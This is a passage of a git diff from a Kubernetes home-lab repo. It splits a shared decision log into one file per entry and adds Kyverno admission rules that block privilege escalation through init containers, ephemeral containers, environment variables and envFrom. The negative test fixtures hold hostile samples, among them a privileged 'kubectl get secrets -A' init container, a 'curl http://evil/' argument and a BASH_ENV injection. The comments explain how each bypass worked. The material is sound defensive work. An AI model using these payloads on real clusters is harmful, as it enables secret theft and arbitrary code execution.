its append converted to a `decisions/` entry. That is follow-up work, in flight separately.
- **`runbooks/` and older entries still say "append to DECISIONS-LOG.md"** in places. I did not
sweep them. The gate now rejects the action, so the stale wording misleads but cannot cause
the damage; it joins the existing tracked work on stale `git push origin main` wording.
+1
View File
@@ -0,0 +1 @@
b16e8cb7ea12720bc7c3a77a496211e3204534c5e6600ba748fb9ab14fa21c26 DECISIONS-LOG.md
+101
View File
@@ -0,0 +1,101 @@
# `decisions/` — the handoff log, one file per entry
This directory **is** the decision log. `../DECISIONS-LOG.md` is the frozen archive of
everything written before 2026-09-29 and is never edited again (see "The archive is
frozen" below).
## Why this exists
`DECISIONS-LOG.md` was append-only in a single file, and every agent appended to its
**tail**. Two branches that both append hit the same last hunk, so git cannot
auto-merge them: the second one to be reviewed conflicts, and so does the third, and
the fourth. Measured on 2026-09-29: **four of the five open PRs were unmergeable, and
`DECISIONS-LOG.md` was the only conflicting file in all four**:
#22 fix/crafty-oauth2-proxy-signin CONFLICT (content): DECISIONS-LOG.md
#20 feat/conformance-job-template CONFLICT (content): DECISIONS-LOG.md
#19 feat/conformance-trigger-kubeconfig CONFLICT (content): DECISIONS-LOG.md
#18 feat/conformance-runner-image CONFLICT (content): DECISIONS-LOG.md
#17 feat/ci-is-the-approver clean (it touched no log entry)
Nothing was wrong with any of those changes. The log's *storage format* serialised work
that was otherwise parallel, and it got worse with every concurrent branch: N branches
produce N-1 rebases, each of which invalidates any gate run that preceded it.
The fix is the obvious one for concurrent appenders: **stop sharing a file**. Each
handoff is its own file. Two agents writing handoffs touch disjoint paths, so there is
nothing for git to merge and nothing to conflict. This scales to any number of parallel
branches with zero coordination — which is the point, since the agents are deliberately
isolated from each other in separate worktrees and cannot coordinate.
There is deliberately **no index file** and no counter. An index would be a shared
mutable file — exactly the thing that just failed — and a sequence number would have
two agents racing for `0043`. The directory listing is the index.
## Writing an entry
One file per handoff, named:
decisions/YYYY-MM-DD-<slug>.md
`<slug>` is lowercase `[a-z0-9-]`. **Use your branch name's last segment** — it is
already unique per unit of work, which is precisely the property the filename needs.
A branch `fix/crafty-oauth2-proxy-signin` handed off on 2026-09-29 writes:
decisions/2026-09-29-crafty-oauth2-proxy-signin.md
The file is YAML frontmatter followed by three required sections:
```markdown
---
date: 2026-09-29
branch: fix/crafty-oauth2-proxy-signin
title: The Keycloak gate works — Crafty's own login was the wall
---
## What changed
Prose. What you actually did, and why.
## What I verified
The measurements, with their numbers. Quote the field you read, not the prose you
believed. Name the gate result and its exit code.
## What I did NOT verify
Everything else. An honest "UNVERIFIED" is worth more than an optimistic "green" —
this repo has been burned by the difference more than once.
```
All three headings are **required and enforced** (`ci/decisions-log.sh`). They are
CLAUDE.md §7's contract; making them a checked structure is what stops an entry
degrading into "done ✅".
## Reading the log
The whole log, oldest first:
ls decisions/[0-9]*.md | sort
The current PM handoff — the newest entry. Ties within a day are broken by what landed
on `main` last, which is the honest answer, so ask git rather than the filename:
git log --diff-filter=A --format='%H' --name-only -- 'decisions/[0-9]*.md' \
| grep '^decisions/' | head -1
For a quick skim of who said what:
grep -H '^title:' decisions/[0-9]*.md | sort
## The archive is frozen
`DECISIONS-LOG.md` is **read-only history**. Its SHA-256 is pinned in
`decisions/ARCHIVE.sha256` and `ci/decisions-log.sh` fails the merge gate if the file
changes. That is not ceremony: without it, the next agent to read `runbooks/` or an old
CLAUDE.md habit appends to the tail again and re-creates the conflict for everybody
else, silently, one PR at a time.
If the archive genuinely must change (a leaked credential to redact, say), that is a
deliberate, reviewed act: change it, run `sha256sum DECISIONS-LOG.md > decisions/ARCHIVE.sha256`,
and say in your handoff entry why. Re-pinning is visible in the diff. Appending is not.
+42 -4
View File
@@ -33,7 +33,7 @@ agents. So the credential model must be decided by the operator before anything
| Dormant full blueprint | `.gitea/workflows/merge-gate.yaml` | Shows the intended shape: `conformance` job `if: ${{ vars.CLUSTER_AVAILABLE == 'true' }}`, `secrets.CONFORMANCE_TRIGGER_KUBECONFIG`, `make -C ci conformance`, then a `merge-gate` decision job (`scripts/decide.sh`). Manual-only (`workflow_dispatch`). |
| CI conformance stage | `ci/conformance.sh` | SKIPS (exit 3) unless `CLUSTER_AVAILABLE=true`. When "on", it currently runs `conformance/run.sh --layer l2,l3` **locally in the CI job** and collects `_artifacts/`. Its own header carries `TODO(Phase 1): drive the in-cluster Chainsaw Job under the narrow CONFORMANCE_TRIGGER_KUBECONFIG` — i.e. the trigger path is **not implemented**. |
| Conformance runner | `conformance/run.sh` + `conformance/lib/`, `conformance/tests/` | Works locally/in-cluster. `--layer l2,l3 [--requirements ...]`, writes `_artifacts/report.junit.xml` + `coverage/`. Needs bash + python3 + chainsaw (+ kubectl for `conf_cluster_reachable`). |
| In-cluster Job skeleton | `conformance/incluster/chainsaw-job.yaml` | Skeleton: `generateName: conformance-run-`, ns `conformance`, `serviceAccountName: conformance-runner`, image `ghcr.io/kyverno/chainsaw:v0.2.12`, `command: ["./run.sh"]`, args default `--layer all --strict-coverage`. **`workspace` is an empty `emptyDir` with no init-container to populate it**, and `results` is an `emptyDir`. |
| In-cluster Job template | `conformance/incluster/chainsaw-job.yaml` | **DONE 2026-09-29 (§3 items 2+3).** `generateName: conformance-run-`, ns `conformance`, `serviceAccountName: conformance-runner`, `command: ["./run.sh"]`, digest-pinned `conformance-runner` image (digest substituted), init container `clone-suite-at-commit` populating `workspace`, `results` mounted at `/results` via `CONF_ARTIFACTS`, artifacts exported over stdout. Proven admissible: `kyverno apply` → `pass: 3, fail: 0`. Still blocked on the runner image (item 1) and the read-only Gitea Secret (item 6). |
| Scoped runner RBAC | `conformance/incluster/rbac.yaml` | ns `conformance` + SA `conformance-runner` + a **privileged** ClusterRole (namespaces create/delete/patch, pods+pods/exec, jobs create/delete, **nodes get/list/patch** for R-STATE-02 cordon, pods/log). Least-privilege, per-test-justified. **Not reconciled by Flux** (no kustomization references `conformance/incluster/`). |
| Runner deployment | `apps/wave-1/gitea-actions.yaml` | act_runner + DinD (Docker executor). **`automountServiceAccountToken: false`** — the runner and its job containers hold NO SA token. Broad egress allowed (`- {}`), so it can *reach* the kube-API VIP `192.168.1.49:6443`, but has no credential. |
| Secrets encryption | `.sops.yaml` (repo root) | age recipient `age175l8m…mfzg`; encrypts `data`/`stringData` of `*.sops.yaml` under `platform|apps|catalog/**` and `secrets/**`. Private key is the in-cluster `sops-age` Secret Flux uses. |
@@ -58,17 +58,42 @@ LIVE (and it is now PROD; dev was decommissioned 2026-09-12).
## 3. Gaps to close (functional)
1. **Runner image.** `ghcr.io/kyverno/chainsaw` is a minimal image; `run.sh` needs **bash +
1. **Runner image.** *(Added requirement, 2026-09-29: the image MUST also install
`conformance/incluster/conformance-clone` at **`/usr/local/bin/conformance-clone`**, mode
0755, and provide a **uid 65532** non-root user. The admission policy pins that exact
entrypoint path and the Job pins that uid — see §4.)*
`ghcr.io/kyverno/chainsaw` is a minimal image; `run.sh` needs **bash +
python3 + chainsaw + kubectl**, and the repo-clone init needs **git**. The Job cannot run
`./run.sh` on the stock chainsaw image. → Build a pinned `conformance-runner` image (chainsaw
`v0.2.12` + kubectl `v1.36.4` + git + python3 + bash), push to the Gitea container registry,
pin its digest in `conformance/versions.env` (`CONFORMANCE_RUNNER_IMAGE`). Keep
`CHAINSAW_VERSION` as the single source of truth the image is built from.
2. **Repo at the commit-under-test.** The Job must run the suite at the PR head SHA. → Add an
2. **Repo at the commit-under-test.** ✅ **LANDED 2026-09-29** (`conformance/incluster/chainsaw-job.yaml`).
Init container `clone-suite-at-commit` runs `/usr/local/bin/conformance-clone` with **no
args** — logic in `conformance/incluster/conformance-clone`, baked into the image by
item 1: shallow clone, fetch the exact commit if the shallow tip lacks it, detach, then
**assert `HEAD` == the requested SHA**. SHA arrives as a `@@CONFORMANCE_GIT_SHA@@`
substitution into a Job env var and is refused unless it matches `^[0-9a-f]{40}$`. The
clone URL is **hardcoded in the entrypoint**, not passed in env: the policy does not
constrain `env`, so a caller-chosen URL would let CI pick which repository's code runs as
`conformance-runner`. Credential = secret `conformance-git-readonly` (read-only Gitea
token) by **name only**, as env via `secretKeyRef` — not a volume, because admission allows
only `workspace` and `results`. Still to do: build the runner image (item 1, and it must
install the entrypoint at that exact path) and provision that Secret (item 6).
Original text: → Add an
**init-container** (`git clone --depth 1` of the impl repo, then `git checkout <SHA>`) writing
into the shared `workspace` volume, using a **read-only** Gitea deploy token. SHA + the touched
`--requirements` are injected by the CI trigger step as Job env/args.
3. **Results collection without giving CI exec/cp.** The Job writes `_artifacts/` to the `results`
3. **Results collection without giving CI exec/cp.** ✅ **LANDED 2026-09-29** (`conformance/run.sh`,
`conf_emit_artifacts_tgz`). `CONF_EMIT_ARTIFACTS_TGZ=1` arms an **EXIT trap** — so a FAILED run
still ships its red JUnit — that prints the artifact tree as a base64 tar between
`=== ARTIFACTS-TGZ-BASE64 BEGIN|END v1 rc=… bytes=… lines=… sha256=… ===`. The size, base64
line count and digest appear in **both** markers, so a truncated `kubectl logs` fails
collection instead of decoding to plausible garbage; the five checks the collector owes are
spelled out above that function. It lives in `run.sh` and not in the Job because admission
pins `command` to exactly `["./run.sh"]`. Verified locally: full decode round-trips, and
head-truncation, tail-truncation, a dropped interior line and a single corrupted character are
each detected. Remaining: the decoder itself, in item 4. Original text: The Job writes `_artifacts/` to the `results`
volume; CI holds only trigger/read rights (§4). → Job's last step prints a delimited
base64 tar of `_artifacts/` to stdout (`=== ARTIFACTS-TGZ-BASE64 ===`…); CI decodes it from
`kubectl logs`. No `pods/exec`, no `kubectl cp`, no results PVC exposure required. (A results
@@ -104,6 +129,19 @@ stack):**
- SA `conformance-trigger` (ns `conformance`), Role: `create` on `jobs`; `get,list,watch` on
`jobs`; `get` on `pods` and `pods/log`. Nothing else. Bound only in the `conformance` ns.
- **CORRECTION (2026-09-29): "constrain the Job's shape" means ALL THREE container lists, not
`containers`.** As first shipped, the policy read only `spec.template.spec.containers` and
`volumes`. `initContainers` was unread, so a Job with a fully compliant `containers[0]` and a
`privileged: true` `alpine:latest` initContainer running `kubectl get secrets -A` was
**ADMITTED** (`pass: 3, fail: 0`, measured with kyverno v1.19.0). Rule 1's
`=(privileged): "false"` only ever applied to `containers[0]`. `ephemeralContainers` was the
same. Both are now covered by
`trigger-initcontainers-must-be-the-committed-clone-step` and
`trigger-may-not-declare-ephemeral-containers`, with the probes kept as negative fixtures.
**The lesson generalises:** an "admit only the committed shape" policy has to enumerate every
field that can carry executable intent, and a `pattern` over an array only asserts *at least
one element matches* — use `deny` conditions and cap the count. Also note the residual: no
rule constrains `env`, which is why the clone URL is hardcoded in the image entrypoint.
- A **Kyverno ClusterPolicy (validate, enforce, fail-closed)** that, *for Jobs created by
`system:serviceaccount:conformance:conformance-trigger`*, ADMITS only Jobs that match the
committed shape: image == the pinned `CONFORMANCE_RUNNER_IMAGE` digest,
@@ -142,3 +142,236 @@ spec:
- key: "{{ regex_match('^(--layer|--requirements|--include-scope|--strict-coverage|[A-Za-z0-9][A-Za-z0-9,._-]*)$', element) }}"
operator: Equals
value: false
# =========================================================================================
# ADDED 2026-09-29 — THE THREE RULES ABOVE WERE BYPASSABLE VIA `initContainers`.
#
# Every rule above reads `spec.template.spec.containers` (rule 1's pattern, rule 3's
# `containers[0].args`) or `volumes` (rule 2). NONE of them read `initContainers`. So the
# exact escalation this policy exists to stop — the privileged `conformance-runner` SA
# executing an arbitrary command, because Kubernetes places no `use` check on
# `serviceAccountName` — was reachable one field over, with `containers[0]` left fully
# compliant. MEASURED with the pinned CLI (kyverno v1.19.0) before this rule existed:
#
# a Job with serviceAccountName conformance-runner and an initContainer
# `docker.io/library/alpine:latest`, `privileged: true`, running `kubectl get secrets -A`
# -> pass: 3, fail: 0, warn: 0, error: 0, skip: 0 # ADMITTED
#
# `=(privileged): "false"` in rule 1 only ever applied to `containers[0]`.
#
# WHY THIS PINS A PATH IN THE IMAGE RATHER THAN VETTING A SCRIPT. An init container IS
# needed — the suite has to be cloned at the commit under test. But while the clone logic
# lived inline as `command: ["/bin/bash","-c"]` + `args: [<script>]`, no policy could tell
# the committed script from an attacker's: both are just `args` on a shell. So the clone
# logic moved into the runner image at a fixed path
# (conformance/incluster/conformance-clone -> /usr/local/bin/conformance-clone) and this
# rule pins `command` to that path with NO args. An admitted init container therefore
# carries no caller-supplied code at all — only the commit SHA, in env, which the entrypoint
# itself validates against ^[0-9a-f]{40}$.
#
# `deny` conditions rather than a `pattern`: a Kyverno array pattern asserts "at least one
# element matches", which would admit the committed clone step PLUS an arbitrary second
# init container — the same class of hole rule 2's comment describes for volumes.
# =========================================================================================
- name: trigger-initcontainers-must-be-the-committed-clone-step
# resources AND subjects in the SAME filter entry — that is how Kyverno ANDs them.
# As two separate `all` entries it is a schema error ("match resources not specified")
# and the whole policy loads as INVALID, which the CLI reports as a SKIP.
match:
all:
- resources:
kinds:
- Job
namespaces:
- conformance
subjects:
- kind: ServiceAccount
name: conformance-trigger
namespace: conformance
validate:
message: >-
conformance-trigger Jobs may carry at most ONE initContainer, and it must be the
committed clone step: the digest-pinned conformance-runner image,
command ["/usr/local/bin/conformance-clone"], NO args, non-root, no privilege
escalation, not privileged. An initContainer running a shell with a caller-supplied
script is arbitrary code execution as the privileged conformance-runner SA — the
escalation the rest of this policy exists to prevent. See
conformance/incluster/conformance-clone.
foreach:
- list: "request.object.spec.template.spec.initContainers"
deny:
conditions:
any:
# At most one. The committed run needs exactly one clone step; a second
# init container has no legitimate purpose and is how you smuggle one in.
- key: "{{ length(request.object.spec.template.spec.initContainers) }}"
operator: GreaterThan
value: 1
# Digest-pinned under the conformance repository path — same rule as
# containers[0], same honest limit (see IMAGE PINNING in the header).
- key: "{{ regex_match('^gitea\\.home\\.keithjackson\\.dev/home-network/conformance-runner@sha256:.+$', element.image) }}"
operator: Equals
value: false
# The baked-in entrypoint, exactly — not a shell, not a second path.
# `join` so this compares a STRING: Equals/NotEquals on arrays is not
# dependable, and `["/bin/sh","-c",...]` must not pass by matching element 0.
- key: "{{ join(' ', not_null(element.command, `[]`)) }}"
operator: NotEquals
value: "/usr/local/bin/conformance-clone"
# NO ARGS. This is the whole point: args on an init container are
# caller-supplied code. Only env may be passed, and the entrypoint validates it.
- key: "{{ length(not_null(element.args, `[]`)) }}"
operator: GreaterThan
value: 0
# not_null(), NOT `||`: JMESPath treats `false` as falsy, so
# `element.securityContext.allowPrivilegeEscalation || `true`` would rewrite
# the COMPLIANT value false into true and deny every good Job.
- key: "{{ not_null(element.securityContext.runAsNonRoot, `false`) }}"
operator: NotEquals
value: true
- key: "{{ not_null(element.securityContext.allowPrivilegeEscalation, `true`) }}"
operator: NotEquals
value: false
- key: "{{ not_null(element.securityContext.privileged, `false`) }}"
operator: NotEquals
value: false
# =========================================================================================
# ADDED 2026-09-29, same review as the rule above: `ephemeralContainers` is the third
# container list on a PodSpec, and it was as unread as `initContainers` was.
#
# Upstream Kubernetes is BELIEVED to reject `ephemeralContainers` in a Job's pod template
# (the field is settable only through the `pods/ephemeralcontainers` subresource), which
# would make this rule dead weight. THAT WAS NOT VERIFIED against this cluster, and
# "probably rejected upstream" is not a boundary. The rule costs one condition, is a no-op
# when the field is absent, and removes the need to be right about it. If the API server
# does reject it, nothing changes; if it does not, this is the same hole again.
# =========================================================================================
- name: trigger-may-not-declare-ephemeral-containers
# resources AND subjects in the SAME filter entry — see the note on the rules above.
match:
all:
- resources:
kinds:
- Job
namespaces:
- conformance
subjects:
- kind: ServiceAccount
name: conformance-trigger
namespace: conformance
validate:
message: >-
conformance-trigger Jobs may not declare ephemeralContainers. The committed
conformance run has no use for one, and an ephemeral container is a third container
list running as the privileged conformance-runner SA with an arbitrary command.
deny:
conditions:
all:
- key: "{{ length(not_null(request.object.spec.template.spec.ephemeralContainers, `[]`)) }}"
operator: GreaterThan
value: 0
# =========================================================================================
# ADDED 2026-09-29 — `env` WAS THE NEXT UNREAD FIELD, and it is the same mistake a third time.
#
# The pattern is now unmistakable: this policy pins `command` and `args`, so injection moves
# to whatever adjacent field nobody enumerated. It was `initContainers`, then
# `ephemeralContainers`, and `env` was still wide open — an admitted Job could set ANY
# environment variable on either container.
#
# That is not hypothetical. Both programs the Job runs read their environment:
# * /usr/local/bin/conformance-clone takes CONFORMANCE_GIT_SHA, and accepts
# CONFORMANCE_REPO_URL / CONFORMANCE_SRC only when they EQUAL the values baked into the
# image (it dies on a mismatch rather than honouring a redirect — which is why the
# specific "clone an attacker's repo and run its ./run.sh as conformance-runner" path is
# already closed there, in the image, not here);
# * run.sh takes CONF_ARTIFACTS and CONF_EMIT_ARTIFACTS_TGZ.
# And bash itself takes BASH_ENV, which it sources before a non-interactive script — so
# `command: ["./run.sh"]` plus one env var is enough to change what actually executes.
# Defence in depth belongs here too: the entrypoint's own validation should not be the only
# thing standing between a caller-chosen env var and the privileged SA.
#
# NOT CONSTRAINED, and deliberately: the VALUES, and which Secret a `valueFrom` reads.
# Values are legitimately environment-specific (TMPDIR/HOME differ by image), and
# conformance-runner can already read Secrets in this namespace via its own RBAC, so
# pinning the source Secret would buy nothing. Names are the vector that matters, because a
# name is what a program keys its behaviour on.
# =========================================================================================
- name: trigger-env-names-must-be-the-committed-set
# resources AND subjects in the SAME filter entry — see the note on the rules above.
match:
all:
- resources:
kinds:
- Job
namespaces:
- conformance
subjects:
- kind: ServiceAccount
name: conformance-trigger
namespace: conformance
validate:
message: >-
conformance-trigger Jobs may set only the committed environment variables. The runner
container may set CONF_ARTIFACTS, CONF_EMIT_ARTIFACTS_TGZ, TMPDIR and HOME; the clone
init container may set CONFORMANCE_GIT_SHA, CONFORMANCE_REPO_URL, CONFORMANCE_SRC,
GITEA_USERNAME, GITEA_TOKEN, TMPDIR and HOME. An arbitrary env var changes what the
pinned command does — BASH_ENV alone is arbitrary code execution as the privileged
conformance-runner SA. Widening this list is a reviewed one-line change.
foreach:
- list: "request.object.spec.template.spec.containers[0].env"
deny:
conditions:
all:
- key: "{{ element.name }}"
operator: AnyNotIn
value:
- CONF_ARTIFACTS
- CONF_EMIT_ARTIFACTS_TGZ
- TMPDIR
- HOME
# Flattened across init containers: the rule above already caps them at one, but this
# must not silently stop checking if that cap is ever relaxed.
- list: "request.object.spec.template.spec.initContainers[].env[]"
deny:
conditions:
all:
- key: "{{ element.name }}"
operator: AnyNotIn
value:
- CONFORMANCE_GIT_SHA
- CONFORMANCE_REPO_URL
- CONFORMANCE_SRC
- GITEA_USERNAME
- GITEA_TOKEN
- TMPDIR
- HOME
- name: trigger-may-not-use-envfrom
# resources AND subjects in the SAME filter entry — see the note on the rules above.
match:
all:
- resources:
kinds:
- Job
namespaces:
- conformance
subjects:
- kind: ServiceAccount
name: conformance-trigger
namespace: conformance
validate:
message: >-
conformance-trigger Jobs may not use envFrom. It injects an entire ConfigMap or Secret
as environment variables, whose KEYS are not visible in the Job at all — which would
make the env-name allowlist above unenforceable by inspection.
deny:
conditions:
any:
- key: "{{ length(not_null(request.object.spec.template.spec.containers[0].envFrom, `[]`)) }}"
operator: GreaterThan
value: 0
- key: "{{ length(not_null(request.object.spec.template.spec.initContainers[].envFrom[], `[]`)) }}"
operator: GreaterThan
value: 0
@@ -19,20 +19,48 @@ resources:
userinfo: user-info.yaml
results:
# ---- the committed run is ADMITTED ----
# `real-template` is conformance/incluster/chainsaw-job.yaml as the CI trigger renders it:
# init container + env-from-secretKeyRef credential + the two allowed volumes. It is here
# so a template that drifts OUT of admission fails `make -C ci l0` rather than failing at
# 2am against the live cluster. `good-run` remains the minimal shape.
- policy: conformance-trigger-job-shape
rule: trigger-may-create-only-the-committed-conformance-run
kind: Job
resources: [good-run]
resources: [good-run, real-template]
result: pass
- policy: conformance-trigger-job-shape
rule: trigger-volumes-must-be-workspace-or-results
kind: Job
resources: [good-run]
resources: [good-run, real-template]
result: pass
- policy: conformance-trigger-job-shape
rule: trigger-args-must-be-the-committed-flags
kind: Job
resources: [good-run]
resources: [good-run, real-template]
result: pass
# `real-template` is the only fixture WITH an init container, so it is the only one this
# rule reports on — a foreach over an absent list yields no result at all, which is why
# `good-run` is not listed here.
- policy: conformance-trigger-job-shape
rule: trigger-initcontainers-must-be-the-committed-clone-step
kind: Job
resources: [real-template]
result: pass
- policy: conformance-trigger-job-shape
rule: trigger-may-not-declare-ephemeral-containers
kind: Job
resources: [good-run, real-template]
result: pass
# Only `real-template` sets env, so it is the only fixture this rule reports a pass on.
- policy: conformance-trigger-job-shape
rule: trigger-env-names-must-be-the-committed-set
kind: Job
resources: [real-template]
result: pass
- policy: conformance-trigger-job-shape
rule: trigger-may-not-use-envfrom
kind: Job
resources: [good-run, real-template]
result: pass
# ---- THE escalation: runner SA + arbitrary command ----
@@ -55,3 +83,38 @@ results:
kind: Job
resources: [injected-args]
result: fail
# ---- THE SAME ESCALATION VIA `initContainers`, which the three rules above all miss ----
# Each of these has a fully compliant `containers[0]` and was ADMITTED (pass 3, fail 0)
# before `trigger-initcontainers-must-be-the-committed-clone-step` existed. `evil-initcontainer`
# is the coordinator's independent reproduction; keeping it here is what stops the hole
# reopening.
- policy: conformance-trigger-job-shape
rule: trigger-initcontainers-must-be-the-committed-clone-step
kind: Job
resources: [evil-initcontainer, initcontainer-with-args, second-initcontainer]
result: fail
# ---- and via the third container list nobody was reading ----
- policy: conformance-trigger-job-shape
rule: trigger-may-not-declare-ephemeral-containers
kind: Job
resources: [evil-ephemeral-container]
result: fail
# ---- and via `env`, the same mistake a third time ----
# `command` is pinned, so the injection moves to a variable the pinned command honours.
# BASH_ENV is sourced by bash before a non-interactive script, so it alone is arbitrary code
# execution as conformance-runner. Note `injected-initcontainer-env` PASSES the initContainer
# rule — its container shape is perfect and only its env is hostile, which is exactly why the
# env rule has to exist separately.
- policy: conformance-trigger-job-shape
rule: trigger-env-names-must-be-the-committed-set
kind: Job
resources: [injected-env, injected-initcontainer-env]
result: fail
- policy: conformance-trigger-job-shape
rule: trigger-may-not-use-envfrom
kind: Job
resources: [envfrom-whole-secret]
result: fail
@@ -1,4 +1,76 @@
# The committed shape — must be ADMITTED.
# THE COMMITTED TEMPLATE, as conformance/incluster/chainsaw-job.yaml renders it (plan §3
# items 2 and 3): one compliant container, plus a git-clone INIT container, plus the git
# credential as env-from-secretKeyRef rather than a volume — because `workspace` and
# `results` are the only two volume names admission allows. Must be ADMITTED.
#
# This case exists so `make -C ci l0` fails if that template ever drifts out of admission.
# Keep the admission-relevant fields (image, serviceAccountName, command, args, volumes,
# securityContext, and the presence of the init container) in step with it.
#
# The init container carries NO args: its logic is baked into the runner image at
# /usr/local/bin/conformance-clone (source: conformance/incluster/conformance-clone).
# That is what makes `trigger-initcontainers-must-be-the-committed-clone-step` enforceable —
# see `evil-initcontainer` below for the escalation it closes.
apiVersion: batch/v1
kind: Job
metadata:
name: real-template
namespace: conformance
spec:
template:
spec:
serviceAccountName: conformance-runner
securityContext:
runAsNonRoot: true
runAsUser: 65532
fsGroup: 65532
initContainers:
- name: clone-suite-at-commit
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["/usr/local/bin/conformance-clone"]
env:
- name: CONFORMANCE_GIT_SHA
value: "0123456789abcdef0123456789abcdef01234567"
# BY SECRET NAME ONLY — and as env, not as a volume.
- name: GITEA_USERNAME
valueFrom:
secretKeyRef: { name: conformance-git-readonly, key: username }
- name: GITEA_TOKEN
valueFrom:
secretKeyRef: { name: conformance-git-readonly, key: token }
volumeMounts:
- { name: workspace, mountPath: /workspace }
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true
capabilities: { drop: ["ALL"] }
containers:
- name: chainsaw
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
workingDir: /workspace/src/conformance
command: ["./run.sh"]
args: ["--layer", "l2,l3", "--include-scope", "whole-repo", "--requirements", "R-NET-01,R-TLS-02"]
env:
- name: CONF_ARTIFACTS
value: /results
- name: CONF_EMIT_ARTIFACTS_TGZ
value: "1"
volumeMounts:
- { name: workspace, mountPath: /workspace }
- { name: results, mountPath: /results }
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true
capabilities: { drop: ["ALL"] }
volumes:
- name: workspace
emptyDir: {}
- name: results
emptyDir: {}
---
# The minimal committed shape — must be ADMITTED.
apiVersion: batch/v1
kind: Job
metadata:
@@ -152,3 +224,241 @@ spec:
volumes:
- name: workspace
emptyDir: {}
---
# THE SECOND ESCALATION, and the one the first three rules missed entirely (2026-09-29): a
# fully compliant `containers[0]` beside a PRIVILEGED, arbitrary-image, arbitrary-command
# INIT container running as the privileged conformance-runner SA. Before
# `trigger-initcontainers-must-be-the-committed-clone-step` existed this was ADMITTED —
# `pass: 3, fail: 0` — because every rule read `containers`, never `initContainers`, and
# rule 1's `=(privileged): "false"` only ever applied to `containers[0]`.
#
# This is the coordinator's independent reproduction, kept verbatim so it stays failing.
# Must be DENIED.
apiVersion: batch/v1
kind: Job
metadata:
name: evil-initcontainer
namespace: conformance
spec:
template:
spec:
serviceAccountName: conformance-runner
initContainers:
- name: sneak
image: docker.io/library/alpine:latest
command: ["/bin/sh", "-c", "kubectl get secrets -A"]
securityContext:
privileged: true
containers:
- name: runner
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["./run.sh"]
args: ["--layer", "l2"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
volumes:
- name: workspace
emptyDir: {}
- name: results
emptyDir: {}
---
# The committed clone entrypoint, but with `args` appended — i.e. the entrypoint used as a
# vehicle for caller-supplied code. "No args" is the whole property that makes a pinned
# command mean anything, so this must be DENIED even though image and command are correct.
apiVersion: batch/v1
kind: Job
metadata:
name: initcontainer-with-args
namespace: conformance
spec:
template:
spec:
serviceAccountName: conformance-runner
initContainers:
- name: clone-suite-at-commit
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["/usr/local/bin/conformance-clone"]
args: ["--exec", "curl http://evil/"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
containers:
- name: runner
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["./run.sh"]
args: ["--layer", "l2"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
volumes:
- name: workspace
emptyDir: {}
- name: results
emptyDir: {}
---
# A SECOND init container beside the legitimate clone step. A Kyverno array `pattern` would
# admit this ("at least one element matches"), which is why the rule uses `deny` conditions
# and caps the count. Must be DENIED.
apiVersion: batch/v1
kind: Job
metadata:
name: second-initcontainer
namespace: conformance
spec:
template:
spec:
serviceAccountName: conformance-runner
initContainers:
- name: clone-suite-at-commit
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["/usr/local/bin/conformance-clone"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
- name: also-me
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["/bin/sh", "-c", "kubectl get secrets -A"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
containers:
- name: runner
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["./run.sh"]
args: ["--layer", "l2"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
volumes:
- name: workspace
emptyDir: {}
- name: results
emptyDir: {}
---
# `env` was the third instance of the same mistake. `command` is pinned to ["./run.sh"], so the
# injection moves to an env var bash itself honours: BASH_ENV is sourced before a non-interactive
# script runs. Everything else here is the committed shape. Must be DENIED.
apiVersion: batch/v1
kind: Job
metadata:
name: injected-env
namespace: conformance
spec:
template:
spec:
serviceAccountName: conformance-runner
containers:
- name: runner
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["./run.sh"]
args: ["--layer", "l2,l3"]
env:
- name: CONF_ARTIFACTS
value: /results
- name: BASH_ENV
value: /workspace/src/conformance/_pwned
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
volumes:
- name: workspace
emptyDir: {}
- name: results
emptyDir: {}
---
# envFrom injects a whole Secret/ConfigMap as env, and its KEYS are nowhere in the Job — so it
# would make the env-name allowlist unenforceable by inspection. Must be DENIED.
apiVersion: batch/v1
kind: Job
metadata:
name: envfrom-whole-secret
namespace: conformance
spec:
template:
spec:
serviceAccountName: conformance-runner
containers:
- name: runner
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["./run.sh"]
args: ["--layer", "l2,l3"]
envFrom:
- secretRef:
name: anything-in-this-namespace
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
volumes:
- name: workspace
emptyDir: {}
- name: results
emptyDir: {}
---
# The same, on the init container: its env names are allowlisted too, and the clone entrypoint
# is the thing that reads them. Must be DENIED.
apiVersion: batch/v1
kind: Job
metadata:
name: injected-initcontainer-env
namespace: conformance
spec:
template:
spec:
serviceAccountName: conformance-runner
initContainers:
- name: clone-suite-at-commit
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["/usr/local/bin/conformance-clone"]
env:
- name: CONFORMANCE_GIT_SHA
